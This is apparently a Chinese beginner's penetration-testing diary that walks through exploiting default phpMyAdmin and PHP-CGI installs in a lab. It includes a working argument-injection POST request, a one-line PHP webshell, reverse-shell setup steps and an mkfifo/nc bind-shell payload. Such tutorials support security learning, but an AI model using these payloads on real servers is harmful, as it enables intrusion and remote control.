小白日記35:kali滲透測試之Web滲透-手動漏洞挖掘(一)-默認安裝引發的漏洞

手動漏洞挖掘

即掃描後,如何對發現的漏洞告警進行驗證。


#默認安裝

流傳linux操作系統比windows系統安全的說法,是因爲windows系統默認安裝後,會開放很多服務和無用的端口,而且未經過嚴格安全性的配置,經常有系統服務以最高權限運行。


漏洞類型--遠程命令執行

1、phpMyadmin

安裝在web服務器中的web接口,專門用來管理MySQL數據庫。對於早期版本,安裝後若是沒有做安全配置,對敏感路徑進行刪除,則有可能留下安全隱患,其中最明顯的爲setup。

a.探索PHP網站(可根據banner等信息判斷)的phpmyadmin目錄是否可以訪問(掃描工具/手動爬網)

###有賬號密碼限制,可嘗試爆破###



b.嘗試../phpMyAdmin/setup目錄是否可以訪問【可以不需要身份認證的情況下,對服務器進行配置】

###安全最佳實踐角度:不允許從公網訪問phpMyAdmin目錄或禁用訪問setup目錄



c.早期的phpmyadmin有漏洞【可通過在URL地址編輯或者定製發送的指令,使其執行一個PHP頁面】

例如:

POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d
+auto_prepend_file%3dphp://input HTTP/1.1
                          #修改服務器中的php.ini文件
Host: 192.168.20.10
<?php 
passthru('id');
die();                                              #後面的指令不執行,可屏蔽服務器返回的html代碼等雜信息
?>

#編輯一條配置指令來修改php.ini文件,可編寫任何功能的PHP頁面【可調用系統功能,passthru()】

#可能運行web服務器進程的用戶賬號會被限制爲www-data之類的普通用戶賬號,則需經過提權,才能完全控制服務器

Burpsuite重放


#已獲得www-data用戶權限,可進行ls、cat等操作【pwd:查看當前路徑;cat etc/password:查看用戶賬號】


#搜索PHP文件中是否用硬編碼的賬號密碼


#嘗試寫入網頁木馬,控制服務器


注:此漏洞有可能不被掃描器掃出來,可自己手工驗證


d.網頁木馬

kali軍火庫中可以找到現成的網頁木馬

靜態木馬webshell,通過瀏覽器去訪問

例如:echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/3.php【最簡單的木馬】

“\”防止在上傳過程中,變量被過濾


在瀏覽器中執行命令【注:無法直接訪問3.php目錄,需加問號再執行】



反彈shell【提交一個請求(包含一個反彈shell)】

#賬號一般還是會是普通用戶【kali中有各種類型的shell】

root@kali:/usr/share/webshells# ls
asp  aspx  cfm  jsp  perl  php
root@kali:/usr/share/webshells# cd php
root@kali:/usr/share/webshells/php# ls
findsock.c        php-findsock-shell.php  qsd-php-backdoor.php
php-backdoor.php  php-reverse-shell.php   simple-backdoor.php
root@kali:/usr/share/webshells/php# cp php-reverse-shell.php /root/3.php
root@kali:/usr/share/webshells/php# 
#修改shell中反彈連接的IP

#使用nc偵聽反彈端口1234【nc終端無法使用tab鍵】


#將shell代碼複製粘貼進POST,go發送【此方法相對隱蔽,不易發現】



############################################################################

當一些命令如ifconfig無法使用時


#################################################################################



2、CGI模塊【Ubuntu / Debian 默認安裝PHP5-CGI】

#可直接訪問/cgi-bin/php5和/cgi-bin/php(這兩個目錄大部分無法爬取)#因爲其不在/var/www目錄下


#定製編碼shellcode




#使服務器打開一個端口,然後再使用nc去連接獲得shell

<?php

echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');

?>

#若有防火牆,需確定防火牆允許通過






















發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章